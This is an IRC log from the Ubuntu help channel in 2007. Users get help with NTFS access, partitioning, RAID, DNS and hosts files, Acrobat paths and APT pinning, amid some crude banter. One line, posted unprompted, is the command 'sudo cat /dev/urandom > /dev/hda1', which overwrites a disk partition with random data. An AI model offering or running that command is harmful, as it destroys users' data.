[05:05] <lun_> http://archive.ubuntu.com/ubuntu/dists/feisty/universe/binary-i386/Packages.bz2: Sub-process bzip2 returned an error code (2)
[05:05] <bruenig> lun_, #ubuntu+1
[05:05] <lun_> kk
[05:05] <ThaNerd> LadyNikon: is there a "reinstall everything and remove things that are fucked up" command?
[05:06] <LadyNikon> ThaNerd: watch the F bomb
[05:06] <IcemanV9> bruenig: i tried desktop cd (6.06) and it did not have /home in guided partitioning ... wonder if feisty have one on alternative cd ... i'll check it later when i get a good quality of sleep tonight :)
[05:06] <bruenig> ThaNerd, generally sudo apt-get -f install cleans some stuff up
[05:06] <tonyyarusso> !ohmy | ThaNerd
[05:06] <ubotu> ThaNerd: Please watch your language and keep this channel family friendly.
[05:06] <LadyNikon> lol@triggers
[05:06] <eylisian> I am sorry to laugh at your possible pain.
[05:06] <ThaNerd> sorry people... i didn't think the F word was still "politically incorrect"
[05:06] <LadyNikon> ThaNerd: ha.
[05:07] <LadyNikon> ThaNerd: when in rome..
[05:07] <bruenig> ThaNerd, you offend all the five year olds in the channel that we have to watch out for
[05:07] <eylisian> epi: so do you see the gist of it?
[05:07] <Robbie> question, do slave devices run slower than master devices?
[05:07] <flaccid> bruenig: i don't understand
[05:07] <epi> We can dream thanerd...
[05:07] <LadyNikon> flaccid: its called sarcasm
[05:07] <eylisian> you can mkraid later on after you reinstall onto sda
[05:07] <flaccid> right
[05:07] <bruenig> flaccid, see "family friendly"
[05:07] <epi> Yep, just waiting for install to finish.
[05:07] <epi> Ill unplug which drive?
[05:07] <Pelo> in my experience 5 year olds never get offended by bad language,  their parents is another story
[05:08] <flaccid> wtf
[05:08] <eylisian> but installing to sda will get you going man.
[05:08] <flaccid> so can anyone help?
[05:08] <Robbie> question, do slave devices run slower than master devices?
[05:08] <epi> It says sata1 then sata3 on the hd's.
[05:08] <bruenig> Robbie, no
[05:08] <eylisian> unplug the one the mainboard has labed highest.
[05:08] <am_rod1> is it possible to write from ubuntu to a windows partition?
[05:08] <epi> 3 it is.
[05:08] <flaccid> i believe this is a dapper bug
[05:08] <eylisian> unplug sata 3
[05:08] <bruenig> !ntfs-3g | am_rod1
[05:08] <ubotu> am_rod1: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but please remember to keep backups of critical data. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[05:08] <bruenig> am_rod1, if it is fat32 then it will write natively
[05:08] <epi> Im so sick of live CD.
[05:09] <eylisian> epi: grub should then figure out the lone sata and all should be well.
[05:09] <LadyNikon> ThaNerd: sorry i couldnt help you more :(
[05:09] <ThaNerd> Robbie: no... they just are in a lower urgency mode... computer will perform operations on master before it works on slave
[05:09] <epi> Aighty, get grub working...then all is well.
[05:09] <eylisian> epi: I have seen the live CD movie. I emote.
[05:09] <am_rod1> bruenig, it is ntfs but it says that the owner is root
[05:09] <ThaNerd> LadyNikon: you tried at least...
[05:09] <bruenig> am_rod1, look at what ubotu said, do you have ntfs-3g installed
[05:10] <jaxon> i have made a data dvd with rmvb/avi formatted films from the ntfs partition but when place back the same disc i cannot find or play those films again? Thanxa
[05:10] <infidel> is there a way to sever x from ubuntu to a xp client
[05:10] <epi> My grandfather wants me to install this on his computer.
[05:10] <eylisian> epi: sweet.
[05:10] <epi> First thing Ill ask is if its raided :|
[05:10] <eylisian> heh.
[05:10] <ThaNerd> infidel: "VNC" ?
[05:10] <Pelo> !restricted | jaxon
[05:10] <ubotu> jaxon: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[05:10] <ba3a3> hey infidel
[05:10] <am_rod1> now i do
[05:10] <epi> Learned more about linux today than Ive ever known in my life.
[05:11] <infidel> ThaNerd, anyway
[05:11] <VXslut> what the hell
[05:11] <jaxon> thanx : ubotu
[05:11] <ba3a3> you can install cygwin to serve x
[05:11] <infidel> ba3a3, yeah?
[05:11] <eylisian> epi: learning is good.
[05:11] <infidel> ba3a3, not sure
[05:11] <eylisian> someitmes painful...
[05:11] <VXslut> hello peoples
[05:11] <ba3a3> i find it best to vnc
[05:11] <am_rod1> bruenig, how do i get the permission to write to a windows partition owned by root?
[05:11] <VXslut> HELLO
[05:12] <epi> The operating system seems pretty good from the live cd. Im guessing itll be much smoother off HD.
[05:12] <infidel> ba3a3, any docs on it?
[05:12] <Pelo> am_rod1, gksu nautilus
[05:12] <ThaNerd> VNC works out of the box
[05:12] <Pelo> VXslut,  hello
[05:12] <VXslut> PEOPLE. Helllllooo
[05:12] <eylisian> epi: which release?
[05:12] <ba3a3> give me one second... i will get you a link
[05:12] <bruenig> am_rod1, first install ntfs-3g, then write to it as root, or if you must you can set it up in fstab to be owned by the user or with the proper fmask and dmask to be written and read by everyone
[05:12] <epi> 6.10
[05:12] <VXslut> hi Pelo :)
[05:12] <infidel> ThaNerd, is there a website?
[05:12] <infidel> ba3a3, ok cool
[05:12] <eylisian> epi: should get you by till fiesty =)
[05:12] <ThaNerd> infidel: yeah... Google ;-)
[05:12] <epi> Saw the beryl thing, mate forced me to watch it, then like the slut I am wanted this.
[05:12] <Pelo> VXslut,  this is a help channel, don' t just say hello and expect ppl to acknoldege you,  if you have a question just ask it and be patient
[05:13] <eylisian> hee.
[05:13] <eylisian> work box though?
[05:13] <VXslut> Okay.
[05:13] <ThaNerd> epi: you nerd :p
[05:13] <Pelo> and VXslut  do not pm ppl yo don't know without their permission
[05:13] <eylisian> I would have maybe gone dapper.
[05:13] <VXslut> How do i download porn?
[05:13] <VXslut> please help
[05:13] <eylisian> but might have been burned harder by sata crap.
[05:13] <epi> Im a student. Economics, I need this for nothing but some games, internet and word processing.
[05:13] <Pelo> !ops | VXslut
[05:13] <ubotu> VXslut: Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild or Amaranth
[05:14] <ba3a3> hey infidel
[05:14] <epi> If the worsts comes to the worst I can hit a library.
[05:14] <epi> And yea im a nerd :P
[05:14] <eylisian> VXslut, there is a Gnome 2.18 plugin just for that I hear.
[05:14] <ba3a3> you should find all the information you need here: http://x.cygwin.com/
[05:14] <ThaNerd> epi: welcome to the club!
[05:14] <infidel> ba3a3, yeah
[05:14] <musya3d> epi we share something in common :d
[05:14] <infidel> ba3a3, thanks
[05:14] <ba3a3> np.. I hope it helps
[05:16] <IcemanV9> what? ubotu does not know about the package screenlets? guess it was not created for ubuntu. :/
[05:16] <shnastybiznastic> epi, I'm in the same boat with ubuntu (lack of knowledge), and I've used slackware for years! :|
[05:16] <Pelo> IcemanCZ,  do you mean gdesklets ?
[05:16] <epi> My only problem with this is the damn Raid compatibility.
[05:16] <tealson> hello, how can I set the correct path variable for adobe acrobat?
[05:16] <epi> The OS seems fine.
[05:16] <musya3d> epi what was your problem?
[05:16] <musya3d> i wasnt following
[05:16] <bruenig> tealson, what?
[05:17] <epi> I went to a werez site and "lol immune".
[05:17] <b0unc3r> whaaa? new version of ubuntu?! :-D
[05:17] <epi> Where it would have furiously raped windows.
[05:17] <tonyyarusso> !ohmy | epi
[05:17] <ubotu> epi: Please watch your language and keep this channel family friendly.
[05:17] <Pelo> tealson, find a pdf file, right click , properties,  open with ...
[05:17] <epi> I have 2 SATA hd's Raided. Ubunto doesnt support this out of the box though.
[05:17] <bruenig> in context, come on
[05:17] <shnastybiznastic> epi, it's a nice feeling.  Don't let that nice feeling make you enable root ssh sessions
[05:17] <tealson> bruenig, adobe acrobat doesn't start, it seems that i have to set the correct path enviroment environment
[05:17] <BUMBACL0T> sudo cat /dev/urandom > /dev/hda1 ?
[05:17] <Toma-> i agree bruenig
[05:18] <eylisian> epi: use it for awhile and you will grow to not want to use anything else.
[05:18] <bruenig> tealson, well where is it located?
[05:18] <yurimxpxman> is there a good terminal text editor that's easier to use than vi?
[05:18] <Flannel> yurimxpxman: nano
[05:18] <arrenlex> yurimxpxman: nano
[05:18] <b0unc3r> pico
[05:18] <Toma-> yurimxpxman: i use mc personally
[05:18] <IcemanV9> Pelo: no. i meant screenlets (http://www.ubuntuforums.org/showthread.php?t=356314&highlight=screenlets)
[05:18] <arrenlex> b0unc3r: pico == nano
[05:18] <BUMBACL0T> pico == nano
[05:18] <arrenlex> lol
[05:18] <Flannel> bruenig: pico doesn't existin ubuntu
[05:18] <shnastybiznastic> yurimxpxman: emacs
[05:18] <bruenig> k
[05:18] <b0unc3r> lol
[05:18] <eylisian> epi: Ubuntu does support sata raid out of the box. Depends on hardware.
[05:18] <Flannel> bruenig: sorry.
[05:19] <ThaNerd> vi... reminds me a chapter's saying in "advanced programming in perl" book...
[05:19] <eylisian> epi: sometimes on certain hardware nothing supports sata raid.
[05:19] <tealson> bruenig, it's installed in /usr/local/Adobe/Acrobat 7.0
[05:19] <eylisian> not even microshaft.
[05:19] <bruenig> tealson, but where is the binary
[05:19] <b0unc3r> Hey how would i upgrade to Feisty with out downloading the ISO?
[05:19] <Sephiroth> Yay.. More issues.. I can ping irc.sephiroth.ws, but yet I can't access it via the web.. (But what's strange is other people can access it)
[05:19] <yurimxpxman> ah, yes, nano is much eaiser than vi. Thanks :)
[05:19] <Sephiroth> What's wrong with my setup? O_o;
[05:19] <bruenig> tealson, full path I mean
[05:19] <tritium> !feisty > b0unc3r
[05:20] <IcemanV9> !vi > yurimxpxman
[05:20] <tealson> bruenig, the bin file is  /usr/local/Adobe/Acrobat 7.0/acroread
[05:20] <Pelo> IcemanV9,  looks fun but looks like you need compiz install,  I'll stick to gdesklets for now
[05:20] <b0unc3r> !feisty
[05:20] <b0unc3r> lol
[05:20] <bruenig> tealson, you realize that is in the repositories right?
[05:20] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[05:20] <eylisian> Sephiroth, sounds like bad DNS somewhere if others outside can hit it by name.
[05:21] <bruenig> tealson, if you can remove that and then do sudo apt-get install acroread, everything will be taken care for you
[05:21] <eylisian> can you dig @<your-dns-server> domain-name-here
[05:21] <bruenig> s/care/care of/
[05:21] <Sephiroth> The DNS points to my external IP address, and I thought my external IP address would just loop back to my local host, so.. what's wrong with it? O_o;
[05:21] <tealson> bruenig, i just installed the new 7.04 beta and there is no acroread listed
[05:22] <Sephiroth> I tried adding my external IP address to the hosts file, but didn't help.
[05:22] <tritium> tealson: wrong channel for feisty questions
[05:22] <bruenig> tealson, ok well then, here is what I would do, sudo ln -s "/usr/local/Adobe/Acrobat 7.0/acroread" /usr/local/bin/acroread
[05:22] <shnastybiznastic> tealson: do you need acroread specifically?  you can use a bunch of other pdf readers...
[05:22] <bruenig> tealson, then it should be in the path
[05:22] <eylisian> Sephiroth, you need to point to your external ip nameserver
[05:22] <IcemanV9> Pelo: actually, it is independent of compiz or beryl which is really cool
[05:22] <tritium> tealson: and the answer is that Adobe doesn't allow redistribution, so it can't be included in the repos any longer
[05:22] <eylisian> open a shell
[05:22] <bruenig> !info acroread
[05:22] <ubotu> acroread: Adobe Acrobat Reader: Portable Document Format file viewer. In component multiverse, is optional. Version 7.0.9-0.0.ubuntu0.6.10 (edgy), package size 22375 kB, installed size 54700 kB (Only available for i386)
[05:22] <tealson> bruenig, thanks, i'll give it a try
[05:22] <Pelo> IcemanV9, I'll have another look tomorow then , thanks for the link
[05:22] <Athensman> anyone here know how to use gnome partition editor??
[05:23] <bruenig> Athensman, point and click
[05:23] <Flannel> bruenig: it's not in feisty, only edgy>=
[05:23] <tealson> shnastybiznastic, yes i need acroread specifically :(
[05:23] <bruenig> seems like they remove it from all the repos
[05:23] <eylisian> Sephiroth, whois <your-isp-domain-name>
[05:23] <Pelo> Athensman,  it is pretty self explanatory,  what trouble are you havnig ?
[05:23] <Berad> Linux 1 : Me 0
[05:23] <bruenig> s/they/they would/
[05:23] <IcemanV9> Pelo: sure. i will compile it manually when i am ready. :)
[05:23] <eylisian> Sephiroth, that will return your isps primary nameservers at the bottom of the results.
[05:23] <shnastybiznastic> so where is the menu to configure mouse clicking behavior in gnome?  I want to set middle click to maximize vertically, and I can't find an option for it anywhere.
[05:24] <bruenig> in gnome, wow
[05:24] <b0unc3r> ahh gatta love ubuntu so easy to use :-D
[05:24] <shnastybiznastic> tealson: wow, sorry
[05:24] <Athensman> geez can anyone msg me and help me out with this gnome partition editor
[05:24] <eylisian> Sephiroth, depending on your internal setup things can vary. But you need good outside DNS.
[05:24] <bruenig> !pm | Athensman
[05:24] <ubotu> Athensman: Please ask your questions in the channel so that other people can also benefit. Please don't PM a user in the channel without asking first, some find it rude.
[05:24] <Pelo> Athensman,  just ask your question
[05:24] <Athensman> damn
[05:24] <Pelo> in this channel
[05:25] <syberdave> does ubuntu have a way of running 32-bit programs (providing 32-bit libraries) on 64-bit systems?
[05:25] <Sephiroth> Well, the strange thing is, eylisian. I got this working fine under Windows, but can't get it working at all under Ubuntu. Under windows, all I did was edit the hosts file, and it worked just fine.
[05:25] <bruenig> !chroot | syberdave
[05:25] <ubotu> syberdave: https://wiki.ubuntu.com/DebootstrapChroot use this to build 32 bit environments on a 64 bit box
[05:25] <Athensman> jesus
[05:25] <bruenig> !ohmy
[05:25] <ubotu> Please watch your language and keep this channel family friendly.
[05:25] <eylisian> Sephiroth, you can do the same under Ubuntu.
[05:25] <eylisian> /etc/hosts
[05:25] <Athensman> i am installing xubuntu and i want to keep my existing os
[05:26] <syberdave> ok, thanks. i'm planning on moving from gentoo.. my list of "things to get working" is getting too big
[05:26] <ThaNerd> Athensman: windows?
[05:26] <Athensman> yes
[05:26] <Pelo> Athensman,  is your drive already partitioned ?
[05:26] <Sephiroth> eylisian: I did edit that file, but I still can't access the webserver running on my local computer, by irc.sephiroth.ws, wheras external users can.
[05:26] <arrenlex> syberdave: Life is too short to run gentoo. :)
[05:26] <bruenig> syberdave, chroot is pretty simple
[05:26] <ThaNerd> Athensman: have several hard drives?
[05:26] <Athensman> no one
[05:26] <Athensman> i have one hd
[05:26] <shnastybiznastic> Athensman: you need to defrag windows first.  then you can change the partition size from the gnome partitioning tool
[05:26] <Athensman> it has win98 on it
[05:26] <ThaNerd> Athensman: are you ready to back up like you never backed up before?
[05:27] <eylisian> Sephiroth,  ip-aadr-here  fqdn.hostname.here  hostname
[05:27] <linuxgx> #winehq
[05:27] <b0unc3r> yeah gentoo is a pain to get running right
[05:27] <bruenig> Athensman, get rid of that garbage
[05:27] <eylisian> like that?
[05:27] <Pelo> Athensman,  first back up your important stuff from that parttiton, just in case,  then in gparted, select the correct drive , right-click , rezise  and have fun ,  it will take some time
[05:27] <shnastybiznastic> Athensman: you shouldn't have any problems, but like everyone says, if you don't have backups, you are really playing with fire
[05:27] <mjbrooks> hmm. that's weird...   anyone know why sound would work on a laptop, except through it's headphone jack?
[05:28] <Pelo> Athensman,  actualy I am not sure you can rezise a ntfs partition with gparted
[05:28] <Athensman> it is fat32
[05:28] <shnastybiznastic> mjbrooks: what make and model?
[05:28] <ThaNerd> mjbrooks: something stuck in the jack?
[05:28] <arrenlex> Pelo: Of course you can.
[05:28] <b0unc3r> hedphone jack turned down?
[05:28] <eylisian> Pelo, you can w/ qtparted
[05:28] <mjbrooks> shnastybiznastic: HP pav dv6000
[05:28] <bruenig> eylisian, same thing
[05:28] <arrenlex> lol, qtparted is an abomination. It's written in like QT 1.
[05:28] <eylisian> bruenig, pardon?
[05:28] <Athensman> thought this was a help channekl
[05:29] <bruenig> eylisian, same thing, that is like if you were to say "ls works in konsole"
[05:29] <Sephiroth> eylisian: I edited that in, but I still can't access the web server from this computer. I would like to get this solved, so I can use this as a development environment.
[05:29] <ThaNerd> Athensman: and we did help you...
[05:29] <mjbrooks> b0unc3r: no, I plug the headphone in and the sound continues to play out the laptop speakers
[05:29] <shnastybiznastic> mjbrooks: http://ubuntuforums.org/showthread.php?t=363211
[05:29] <epi> Managed to drunkenly knock my computer over.
[05:29] <eylisian> bruenig, ah!
[05:29] <Pelo> Athensman, you got help,  don't expect us to do it for you
[05:29] <syberdave> mjbrooks: i have a pav6000z, and i have to manually mute the speakers and unmute the headphones
[05:29] <ThaNerd> Athensman: 1: defrag. 2: backup. 3: resize partition. 4: install ubuntu.
[05:29] <eylisian> Sephiroth, can you ping webserver by ip addr?
[05:30] <skiggitty> homelinux.com
[05:30] <mjbrooks> syberdave: well that's annoying   lol
[05:30] <eylisian> epi: no! no drunken knock overs!
[05:30] <Sephiroth> eylisian: Yes
[05:30] <arrenlex> LOL. http://www.rtfm.com/
[05:30] <IcemanV9> should /home partition have rest of free space or specific amount once you set / , /tmp, /var, /swap?
[05:30] <Sephiroth> I can ping my external IP address.
[05:31] <epi> Just 2 noob questions, more for comfort than essential usage, any kind of emulation software to run windows games, and where on gods green earth is the hotkey for process's manager?
[05:31] <eylisian> Sephiroth, at shell, host ip-addr-here
[05:31] <eylisian> if your host files is correct it should return the name.
[05:31] <eylisian> hosts file =)
[05:31] <shnastybiznastic> mjbrooks: also this, https://wiki.ubuntu.com/hp_dv6000_series_%28dv6116eu%29#head-465c97b58f8ed5d0d780c07da69039fed6896147
[05:31] <bruenig> IcemanV9, i go rest of the space, but I also only go with /home / and swap
[05:31] <Sephiroth> sephiroth@One-Winged-Angel:~$ host 70.145.28.123 123.28.145.70.in-addr.arpa domain name pointer sephiroth.no-ip.biz.
[05:31] <arrenlex> epi: If you're lucky, wine or cedega will run your game reasonably. Search for it in the appdb: http://appdb.winehq.org/
[05:32] <Athensman> why defragmend i only had this os on here for 2 days
[05:32] <r00tintheb0x> anyone know how to use screen?
[05:32] <epi> Cool cool.
[05:32] <mjbrooks> shnastybiznastic: ty   looking now
[05:32] <bruenig> Athensman, well then don't
[05:32] <r00tintheb0x> i just want someone else to be able to see what im doing on their computer.
[05:32] <Sephiroth> sephiroth.no-ip.biz also points to my external ip address.
[05:32] <bruenig> Athensman, we give you generalities, you apply them to your specific situation
[05:32] <IcemanV9> bruenig: duly noted; thanks.
[05:32] <eylisian> Sephiroth, dig @localhost ip-addr-here
[05:32] <joincamp> epi: for the shortcut, i believe you have to make it yourself, either in gconf-editor or beryl-settings
[05:32] <eylisian> ip-addr for server
[05:33] <epi> Eve online works on Linux!
[05:33] <bruenig> !hi | greig_
[05:33] <ubotu> greig_: Hi! Welcome to #ubuntu!
[05:33] <greig_> hey:)
[05:33] <Pelo> Athensman,  to make it easier for gparted to resize your partition,  other wise it will get borked,   in any case if you've only had the os for 2 days, just trash it,  partition the drive and resintall everything from scratch
[05:33] <shnastybiznastic> Athensman: You want to defragment in order to risk the smallest chunk of data possible when resizing your partitions
[05:34] <Mirth> Hey guys
[05:34] <arrenlex> !hi | Mirth
[05:34] <ubotu> Mirth: Hi! Welcome to #ubuntu!
[05:34] <Athensman> why you guys hate 98
[05:34] <Mirth> How do I find out what version of Wine I have?
[05:34] <Sephiroth> eylisian: http://paste.ubuntu-nl.org/11806/
[05:34] <bruenig> Athensman, well I do give you that it is better than NT
[05:34] <b0unc3r> cause its 2007
[05:34] <arrenlex> Mirth: wine --version
[05:34] <joincamp> epi: do you need more explanation than that about the shortcut?
[05:34] <Mirth> Thx arrenlex
[05:34] <bruenig> 9 year old OS is kind of ridiculous
[05:34] <Athensman> listen
[05:34] <shnastybiznastic> Athensman: well, it's a security nightmare, and it's quite outdated.  there's not real reason to be running it if not for some legacy application that requires it.
[05:34] <Athensman> i just wanted to keep that on there until i learn linux
[05:35] <epi> Nope, I gotcha.
[05:35] <yukonho> I have a general hardware/linux/wireless question:  Would it be better to get a PC Card wireless adapter or one of the USB wireless adapters?  Is it easier to use one or the other in ubuntu?
[05:35] <b0unc3r> there is hardly a learning curve for Ubuntu...
[05:35] <bruenig> yukonho, pc card
[05:35] <eylisian> Sephiroth, is the webserver on your localhost?
[05:35] <Sephiroth> Yes
[05:35] <shnastybiznastic> yukonho: it's more about the chipset then the connection
[05:35] <eylisian> ah
[05:35] <musya3d> error: 'Lost connection to MySQL server during query'
[05:35] <musya3d> I get that error trying to run a command like this
[05:35] <musya3d> mysqladmin -h server1.example.com -u root password yourrootsqlpassword
[05:35] <bruenig> i see more usb problems
[05:35] <Athensman> what do u mean b0unc3r
[05:35] <bruenig> now whether that is a coincidence...
[05:35] <eylisian> in your browser type; http://localhost
[05:36] <Sephiroth> I can access it by localhost, but I want to access it by my domain that I have pointed to my computer, for what I develop uses absolute links, and I can't change this.
[05:36] <shnastybiznastic> Athensman: well, he's referring to the fact that ubuntu is engineered to be user friendly
[05:36] <musya3d> eylisian me?
[05:36] <b0unc3r> Ubuntu is very easy to use and MOST things work right after install...and if they happen to not there is ALOT of support online
[05:36] <epi> I was going to try beryl out when I get this install working.
[05:36] <IcemanV9> Athensman: you can keep it on your box, but you have be warned that you'll be addicted to linux in a few days. :D
[05:36] <Athensman> win98 is the only os that will run descent on my machine
[05:36] <eylisian> Sephiroth, I see.
[05:36] <arrenlex> Athensman: Buy a new computer?
[05:36] <Pelo> Athensman,  if you don'T care about your current install of win98,  just partition the drive in 2 section , one for windows one for ubuntu,   install windows , restore your settings,  then install ubuntu on the other partition,   if you do care ,  defrag your hdd, then resize the partition , then intall ubunto on what's left
[05:36] <joincamp> I heart the ubuntu community
[05:36] <shnastybiznastic> Athensman: descent or decent?
[05:37] <eylisian> Sephiroth, one sec fiddling w/ pastebin.
[05:37] <Athensman> it is just a spare computer
[05:37] <epi> Dont advocate it as the be all and end all, its just better than anything else.
[05:37] <Sephiroth> eylisian: Ok.
[05:37] <bruenig> Athensman, if it is just a spare, go headlong into it
[05:37] <Athensman> i watch dvd's and tv and mp3's non it
[05:37] <Mirth> I can't get Dreamweaver 8 to install with Wine. :(
[05:37] <Mirth> Ugggh
[05:37] <arrenlex> Athensman: So what problems are you having with gparted?
[05:37] <malvo> is there a way to stop another users process as root
[05:37] <shnastybiznastic> Athensman: honestly, coming from someone who switched from 89 to slackware, it's going to be less of a hassle for you to not bother with windows at all.
[05:37] <malvo> not kill it, just stop it so it can be resumed later
[05:37] <Pelo> arrenlex,  is current problen is not with gparted, it's with getting on with it
[05:38] <shnastybiznastic> *98 to slackware :o
[05:38] <epi> And it would be so much better if they implemented a better system than "rebuild the kernal" as a solution (sic) to not supporting raid off the CD.
[05:38] <Athensman> fine fine
[05:38] <epi> Dont give out root.
[05:38] <epi> Give out sudo :)
[05:38] <Athensman> i will delete it
[05:38] <rs8000> Can anyone recommened a good ubuntu compatible laptop running core 2 proc?
[05:38] <Athensman> geez
[05:38] <epi> Its the cleverest little thing ive seen on this OS.
[05:38] <Pie-rate> how do i force ubuntu to not ask to upgrade a certain package?
[05:38] <yukonho> shnastybiznastic: is it true that those TrendNet ones are generally trouble?
[05:38] <bruenig> !pinning | Pie-rate
[05:38] <ubotu> Pie-rate: pinning is an advanced feature that APT can use to prefer particular packages over others. See https://help.ubuntu.com/community/PinningHowto
[05:38] <IcemanV9> Mirth: did you check winehq.com apps database on dreamweaver? i believe there are some suggestions to make it work success
[05:39] <shnastybiznastic> yukonho: honestly, the only wireless adapter I have found that isn't trouble on linux is a dell trumobile
[05:39] <Pelo> Athensman,  do you see how many ppl there are in this channel and how many different threads are active at the moment ? all with ppl needing help ? , do not geez us
[05:39] <Mirth> I did IcemanV9, and there are 2 different ones; one saying it works, one saying it doesn't :(
[05:39] <arrenlex> Mirth: That application seems to have quite a few guides for it on appdb. Have you seen them? ttp://appdb.winehq.org/appview.php?iVersionId=3482
[05:39] <Pie-rate> bruenig: that's a MUCH better answer than i got last time.
[05:39] <bruenig> Pie-rate, good
[05:40] <Pie-rate> bruenig: they wanted me to use some weird config file for configuring package priorities
[05:40] <shnastybiznastic> yukonho: I mean, it's not going to be beyond you, but that's the only one I just plugged in and it worked.
[05:40] <Mirth> I couldn't really understand it arrenlex :(
[05:40] <IcemanV9> !dual-boot | Athensman
[05:40] <ubotu> Athensman: Dual boot instructions:  https://help.ubuntu.com/community/WindowsDualBootHowTo (x86/AMD64) - https://wiki.ubuntu.com/YabootConfigurationForMacintoshPowerPCsDualBoot (Macintosh)
[05:40] <Athensman> forget it
[05:40] <Athensman> 98 it gone
[05:40] <bruenig> Pie-rate, yeah that is pretty much it
[05:40] <Pelo> Athensman,  you won'T regret it
[05:40] <epi> Oh noes...he got rid of 98...
[05:40] <arrenlex> Mirth: What does it say when it crashes?
[05:40] <Athensman> i am sure
[05:40] <b0unc3r> Athensman: is it that big of a issues to keep 98?
[05:40] <Mirth> Hrm
[05:41] <Athensman> i guess not
[05:41] <eylisian> Sephiroth, http://paste.ubuntu-nl.org/11807/  ... I am still thinking.
[05:41] <epi> Its the best most stable operating system in the world.
[05:41] <Mirth> Let me try again arrenlex
[05:41] <b0unc3r> Athensman: you wont be disapointed by ubuntu its very well put together
[05:41] <shnastybiznastic> b0unc3r: it deos represent an hour of install time...
[05:41] <joincamp> Athensman: you should use windows 386, i dont think you are going far back enough
[05:41] <Athensman> just I am sure there were windows apps that i can get for linux
[05:41] <arrenlex> wtf is windows 386
[05:41] <ThaNerd> epi: errr.... samba crashes, ssh won't let me login... so huh...
[05:41] <joincamp> http://maps.google.com/maps?f=q&hl=en&q=39.847723,-74.977505&layer=&ie=UTF8&z=16&ll=39.849387,-74.978771&spn=0.011548,0.023131&t=h&om=1
[05:41] <bruenig> Pie-rate, it is pretty easy to edit it though
[05:41] <b0unc3r> shnastybiznastic: lol and hour rofls
[05:41] <epi> I meant win 98.
[05:41] <bruenig> Pie-rate, what package is it and what is the version number you want to keep
[05:41] <joincamp> oops wrong link
[05:42] <aum> hi - using breezy - can't record from line-in on sblive soundcard - line-in is enabled for record - any ideas?
[05:42] <eylisian> Sephiroth, oooh. I think i remembered!
[05:42] <Pie-rate> bruenig: wine 0.9.30. later versions screw WoW over
[05:42] <joincamp> arrenlex: http://www.youtube.com/watch?v=QGO2hVA3P58&eurl=
[05:42] <Athensman> just I am sure there were windows apps that i can get for linux
[05:42] <epi> I honestly have little idea what this operating system is like.
[05:42] <Sephiroth> ssh: connect to host localhost port 22: Connection refused
[05:42] <ThaNerd> epi: like win95, but worse, and better too.
[05:42] <b0unc3r> upgrading to feisty :-D
[05:42] <Pelo> Athensman,  you can use wine to run windows apps on linux,  it's quite easy
[05:43] <ThaNerd> Sephiroth: sudo /etc/init.d/ssh start
[05:43] <Athensman> wine will run any windows apps
[05:43] <epi> Sorry, if ive spent the last 8 hours installing this to get something like windows 95 id like to know the names and address's of the developers.
[05:43] <ThaNerd> Athensman: i correct... wine will run MOST windows apps
[05:43] <b0unc3r> Athensman: most...but some are easier to run than others
[05:43] <eylisian> Sephiroth, hang on one sec. working out hosts file for it.
[05:43] <shnastybiznastic> epi: that's a lot of adresses
[05:43] <Pelo> Athensman,  not any, but a lot and with varying degrees of efficency but what runs on win 98 will most likely work fine on wine
[05:43] <Athensman> well we will se
[05:43] <Sephiroth> K
[05:44] <ekom13> can anyone help me with a few installations?
[05:44] <Sephiroth> sudo was telling me the command wasn't found. :(
[05:44] <Athensman> i just need a good dvd player and a mp3 player and i hope it detects my tv tuner card
[05:44] <yukonho> shnastybiznastic: thanks very much for the tips! 'night
[05:44] <Pelo> ekom13,  http://cutlersoftware.com/ubuntuinstall/
[05:44] <shnastybiznastic> yukonho: I hope it works well for you
[05:44] <b0unc3r> Athensman: XMMS and uhm XINE
[05:44] <bhavi_bond> How to open our own community in launchpad?
[05:44] <vince_> jrib: i think i got it working
[05:44] <bruenig> Pie-rate, so edit /etc/apt/preferences and add
[05:44] <bruenig> Package: wine
[05:44] <bruenig> Pin: version 0.9.30
[05:44] <bruenig> Pin-Priority: 1001
[05:45] <Pelo> Athensman,  most hardware is supported and you'll just ahve to install a few packages to get dvd and mp3 support ,  come back here for instructions when you are ready to proceed
[05:45] <Mirth> Oddly enough arrenlex, I think it installed this time.
[05:45] <jrib> vince_: great, what was the issue?
[05:45] <Athensman> k
[05:45] <mattie5> hi, what is the name of the utility that puts the a terminal session directly unto the desktop?
[05:45] <ekom13> Pelo, i was looking more at installing my speakers and my wireless internet
[05:45] <vince_> jrib: i was getting mixed up with the different versions of ubuntu
[05:45] <epi> Im beginning to think of linux less as an OS thats tied down and more of a commitment.
[05:45] <arrenlex> Mirth: lol.
[05:45] <IcemanV9> Athensman: what b0unc3r meant ... XMMS (mp3 player) and XINE (dvd player)
[05:45] <jrib> vince_: ah
[05:45] <Athensman> and tv time right
[05:45] <bhavi_bond> Theres no kannada language translation team
[05:45] <epi> Seem from this IRC, I can get it to do most things with enough time invested.
[05:45] <shane634> ekom13, which wireless card
[05:45] <Pelo> ekom13,   look up your make and model number in the forum,  best place for hardware how to s
[05:45] <b0unc3r> IcemanV9: yes thank you
[05:46] <epi> The "no drm" thing alones sells linux to me.
[05:46] <ekom13> its an intel i forget the exact model
[05:46] <syberdave> a friend just told me that ubuntu is like Debian Stable where each release is stuck with its package versions. does ubuntu have a cutting-edge respitory?
[05:46] <GekiBlue> Hey all... I'm trying to install JRE... and I'm doing "fakeroot make-jpkg jre-6-linux-i586.bin," and it's giving me a "no matching plugin was found" error.
[05:46] <eylisian> Sephiroth, http://paste.ubuntu-nl.org/
[05:46] <Athensman> my tv tuner cards using a remote I bet that will not work anymore
[05:46] <IcemanV9> Athensman: no idea about tv card (never own one myself), but others have success with it (more info in ubuntuforums.org)
[05:46] <Sephiroth> eylisian: lol blank
[05:46] <bhavi_bond> hello anyone pls answer..
